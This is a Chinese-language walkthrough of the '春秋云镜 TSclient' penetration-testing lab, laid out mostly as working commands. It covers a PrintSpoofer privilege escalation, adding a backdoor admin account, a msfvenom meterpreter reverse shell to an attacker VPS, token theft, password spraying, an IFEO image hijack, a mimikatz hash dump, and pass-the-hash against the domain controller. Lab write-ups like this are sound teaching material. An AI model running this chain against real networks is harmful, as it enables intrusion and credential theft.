春秋云镜 TSclient -- Walkthrough
入口shell
fscan扫到了ISS的弱密码
用MDUT成功拿shell
这次的C2我用的是vshell。
内网信息
fscan扫描结果如下
172.22.8.18 ISS
172.22.8.31 win19 XIAORANG\WIN19-CLIENT
172.22.8.46 win2016 WIN2016.xiaorang.lab
172.22.8.15 DC
(后面知道,除了18以外,另外三台机子都在域内,三个flag分别需要18的system权限,46的system权限和15的system权限)
.18本地提权
flag01在ISS机子的Administrator桌面,也就是需要提权。
由于是ISS,想到用potato家族获取高权限用户令牌来提权。记录一下这一个环境的特权信息,系统是windows10。
C:\Windows\system32>whoami /priv
特权信息
特权名 描述 状态
============================= ==================== ======
SeAssignPrimaryTokenPrivilege 替换一个进程级令牌 已禁用
SeIncreaseQuotaPrivilege 为进程调整内存配额 已禁用
SeChangeNotifyPrivilege 绕过遍历检查 已启用
SeImpersonatePrivilege 身份验证后模拟客户端 已启用
SeCreateGlobalPrivilege 创建全局对象 已启用
SeIncreaseWorkingSetPrivilege 增加进程工作集 已禁用
我先尝试了自己编译的SweetPotato,但是出现了报错。最后还是用PrintSpoofer成功提权。
./PrintSpoofer.exe -i -c cmd
另外,通过systeminfo发现ISS这个机子并没有加入域。
为了方便,先打开这个机子的3389,添加一个管理员RDP。
net user bridge qwer1234! /add
net localgroup administrators bridge /add
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
读取.18上TSclient挂载的远程C盘
结合靶场名字,可能在TSclient里有点东西。这方面的知识点可以参考
输入quser
会发现John用户远程连上了本机
在这个环境中,管理员权限可以偷RDP用户的token,从而查看其挂载的盘。
我先尝试了SharpToken,但是提示缺少组件
最后用msf上线,然后用它的incognito模块。
生成反弹shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=vpsip LPORT=9999 -f exe -o msf.exe
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost vpsip
set lport 9999
exploit
上线后依次输入
use incognito
list_tokens -u
获取John的令牌并以他的身份运行cmd
impersonate_token WIN-WEB\\John
然后就能拿到TSclient挂载的C盘
net use
查看挂载情况
C盘下的credential.txt,记录着John这个域用户的账号和密码,以及一个hint。
xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#
Do you know how to hijack Image?
登录.46
刚刚得到了John这个域用户,用它来做一个密码喷洒
echo 'crackmapexec smb 172.22.8.0/24 -u Aldrich -p Ald@rLMWuy7Z!#'>crack.sh
proxychains -q ./crack.sh
从46,15,31随便选一台机子登录即可。但是直接登陆的话可能会有问题,因为实际上这个用户的密码过期了。我先后用linux的remmina和windows的mstsc.exe都没办法直接登录,最后还是用linux的rdesktop登陆了。
proxychains rdesktop 172.22.8.31 -u Aldrich -d xiaorang.lab -p 'Ald@rLMWuy7Z!#'
登录之后会要求改密码
改好密码后,用它登录46即可。
域内信息搜集
.46是在域里的
用bloodhound信息搜集,发现.46这台机子的机器用户是域管
那接下来的目标就是,在.46上本地提权至system,然后PTH拿下域控。
.46本地提权
预期解
提示的Do you know how to hijack Image?
,暗示要用镜像劫持,可以参考
用get-acl查看IFEO权限,fl命令是为了把一行显示为多行
Get-ACL -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl
其中Authenticated Users指的是所有非来宾用户,也包括John,拥有对这个目录的所有权限。
把cmd绑定到放大镜上
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f
然后开始菜单-锁定,点出右下角的放大镜
得到一个system权限的cmd
加rdp,读到flag02
非预期
KrbRelayUp域内提权一把梭
detecting-and-preventing-privilege-escalation-attacks-leveraging-kerberos-relaying-krbrelayup
.15域控
在.46上用mimikatz读机器用户的hash
Authentication Id : 0 ; 23561 (00000000:00005c09)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2023/8/7 12:08:47
SID :
msv :
[00000003] Primary
* Username : WIN2016$
* Domain : XIAORANG
* NTLM : fabd7531c3c36b8200cb388bf5963fde
* SHA1 : 3db64af963db265aa291171b345d4e3067c3a3d4
tspkg :
wdigest :
kerberos :
ssp :
credman :
然后PTH+wmiexec拿shell
proxychains python3 wmiexec.py -hashes :fabd7531c3c36b8200cb388bf5963fde xiaorang.lab/WIN2016\$@172.22.8.15
Bonus1: 给内网机子上vshell
入口机是windows,用netsh加一个代理转发即可:
netsh interface portproxy add proxy1 listenaddress=172.22.8.18 listenport=8024 connectaddress=vpsip connectport=8024
删除:
netsh interface portproxy delete proxy1
如果是linux,可以用socat
socat TCP-LISTEN:8024,reuseaddr,fork TCP:vpsip:8024
vshell的客户端填入口机内网ip
Bonus2: HTTP文件传输方案
有人嫌现成的工具太重,自己无聊写了个简单的(